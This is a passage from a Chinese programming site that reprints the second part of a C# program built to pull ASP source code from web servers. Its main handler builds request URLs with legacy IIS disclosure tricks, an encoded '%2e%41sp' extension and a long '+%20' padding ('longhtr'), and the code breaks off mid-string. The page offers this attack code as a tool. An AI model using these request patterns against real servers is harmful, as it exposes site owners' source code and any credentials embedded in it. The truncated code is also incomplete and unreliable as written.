当前位置:编程学习 > asp >>

一个用c#写的扫描asp源码漏洞的应用程序(续)

答案:        //主要方法
        protected void btnGo_Click (object sender, System.EventArgs e)
        {

            //解析url
            string strServer = this.txtServer.Text ;
            string strUrl   = this.txtFileName.Text ;
            char [] point = {'.'} ;   //定义分割符为"."
            char[] line = {'/'} ;     //定义分割符为"."
            string [] arrString = strUrl.Split(line) ;

            //求asp文件全名
            string strFileName = arrString[arrString.Length - 1] ;
            //求从根目录下的路径
            string strPath = strUrl.Substring( 0 ,
                             strUrl.Length - strFileName.Length) ;

            //解析文件全名
            arrString = strFileName.Split(point) ;
            //求文件扩展名
            string strLast = arrString[arrString.Length - 1] ;
            //求文件名
            string strFirst = strFileName.Substring( 0 ,
                              strFileName.Length - strLast.Length - 1) ;
            


            //使按钮、输入框等失效
            this.txtServer.ReadOnly = true ;
            this.txtFileName.ReadOnly = true ;
            this.btnClear.Enabled = false ;
            this.btnGo.Enabled = false ;


            if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
                || this.txtServer.Text.Trim()== "" ||
                this.txtServer.Text.Substring(0,7) != "http://")
            {
                MessageBox.Show("请输入正确的主机名和文件名!") ;
                this.txtServer.Focus() ;
            }
            else
            {
                this.txtResult.Visible = true ;
                this.txtResult.ReadOnly = true ;
                this.barStatus.Text = "正在连结主机…" ;

                string strRequestFile ;

                switch (this.cboMethod.SelectedIndex)
                {
                    case 0:          //直接读取
                        strRequestFile = strServer + strUrl ;
                        break ;
                    case 5 :         //%2e%41sp
                        strRequestFile = strServer + strPath + strFirst
                                        + "%2e%41sp" ;
                        break ;
                    case 8 :        //longhtr
                        strRequestFile = strServer + strUrl
                             + "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
                             + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
                             + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                  

上一个:网上追捕(很多实用的port)
下一个:C# 刚写的 HttpRequsetResponse 类,异步、事件... 还热乎着呢!(2003-7-1更新)

CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,